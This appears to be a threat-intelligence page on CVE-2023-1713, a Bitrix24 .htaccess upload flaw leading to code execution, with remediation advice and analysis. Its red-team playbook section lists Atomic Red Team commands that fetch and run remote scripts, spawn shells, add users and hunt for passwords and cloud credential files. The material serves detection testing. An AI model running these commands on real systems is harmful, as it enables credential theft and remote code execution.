CVE-2023-1713
Overview
This vulnerability is an insecure temporary file creation issue within the Instagram import module of Bitrix24 version 22.0.300. The flaw arises from improper handling of uploaded files in the bitrix/modules/crm/lib/order/import/instagram.php component, specifically allowing crafted files to be saved without adequate validation or sanitization. The vulnerability resides in the temporary file creation mechanism on an Apache HTTP Server environment where uploaded files can overwrite or inject server configuration files.
Vulnerability Description
Insecure temporary file creation in bitrix/modules/crm/lib/order/import/instagram.php in Bitrix24 22.0.300 hosted on Apache HTTP Server allows remote authenticated attackers to execute arbitrary code via uploading a crafted ".htaccess" file.
Impact
An authenticated attacker can leverage this vulnerability to execute arbitrary code on the server by uploading a malicious .htaccess file, effectively gaining control over the affected Bitrix24 instance. This can lead to full system compromise, data exfiltration, or service disruption. The attack requires valid user credentials (PR:L) but no user interaction (UI:N) and can be performed remotely (AV:N) with low attack complexity (AC:L), as reflected in the CVSS vector.
Solution
According to the advisory at https://starlabs.sg/advisories/23/23-1713/, users of Bitrix24 version 22.0.300 should upgrade to the patched release provided by Bitrix24 that addresses the insecure temporary file creation in the Instagram import module. The vendor's update enforces strict validation and sanitization of uploaded files, preventing .htaccess injection. Administrators should apply the official patch promptly as detailed in the referenced advisory to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with insecure temporary file creation in a specific module of Bitrix24 presents a significant security concern for organizations utilizing this platform. The flaw lies in the handling of temporary files during the import process, particularly within the Instagram integration functionality. This oversight allows an authenticated attacker to exploit the system by uploading a maliciously crafted ".htaccess" file. Such a file can alter the server's configuration, enabling the execution of arbitrary code. The underlying issue stems from inadequate validation and sanitization of user inputs, which is critical in preventing unauthorized file manipulations and ensuring the integrity of the server environment.
Attack vectors for this vulnerability are particularly concerning due to the potential for remote exploitation. An authenticated user, who may have legitimate access to the Bitrix24 platform, could leverage this flaw to upload a specially crafted ".htaccess" file. Once uploaded, this file could be used to execute malicious scripts or redirect requests, effectively compromising the server's security. Scenarios could include the installation of backdoors, data exfiltration, or even complete server takeover, depending on the attacker's objectives. The ease with which an attacker could exploit this vulnerability, combined with the potential for severe consequences, underscores the critical need for vigilance in monitoring and securing web applications.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on Bitrix24 for customer relationship management and other operational functions. A successful exploitation could lead to unauthorized access to sensitive customer data, financial information, and proprietary business processes. The fallout from such a breach could include reputational damage, legal ramifications, and significant financial losses. Organizations may face regulatory scrutiny, especially if personal data is compromised, leading to potential fines and loss of customer trust. The high CVSS score of 8.8 reflects the severity of the risk, indicating that organizations must prioritize addressing this vulnerability to safeguard their assets.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify weaknesses in the system before they can be exploited. Additionally, organizations should enforce strict file upload controls, ensuring that only safe file types are permitted and that all uploaded files are subject to thorough validation and sanitization processes. Monitoring logs for unusual activity, such as unexpected file uploads or changes to server configurations, can also provide early warning signs of an attempted exploitation. Furthermore, keeping the Bitrix24 platform and its modules up to date with the latest security patches is essential in minimizing exposure to known vulnerabilities.
In conclusion, the insecure temporary file creation vulnerability within Bitrix24 represents a critical threat that organizations must address proactively. The potential for remote code execution through crafted uploads poses significant risks to data integrity and system security. By understanding the technical details, recognizing possible attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities. Prioritizing cybersecurity measures not only safeguards sensitive information but also reinforces the trust of customers and stakeholders in the organization's commitment to security.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-1713, indicating increased adversary interest and potential exploitation attempts targeting Bitrix24 instances. While no new exploit variants or proof-of-concept codes have surfaced, the uptick in telemetry suggests threat actors are actively probing or leveraging the insecure temporary file creation vulnerability to deploy crafted ".htaccess" files for remote code execution. This development elevates the practical risk to affected organizations, as the vulnerability’s exploitation vector remains viable and attractive for attackers seeking persistent footholds or lateral movement within compromised environments. Although the EPSS score remains low and stable, the surge in observed activity underscores a growing operational focus on this flaw, warranting heightened vigilance. Consequently, defenders should consider this escalation as a signal of increased threat actor engagement, which may presage more sophisticated or widespread exploitation campaigns in the near term.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Bitrix24 | Bitrix24 | 22.0.300 |
cpe:2.3:a:bitrix24:bitrix24:22.0.300:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-1713 |
| starlabs.sg |
GitHub CVE
third-party-advisory
|
https://starlabs.sg/advisories/23/23-1713/ |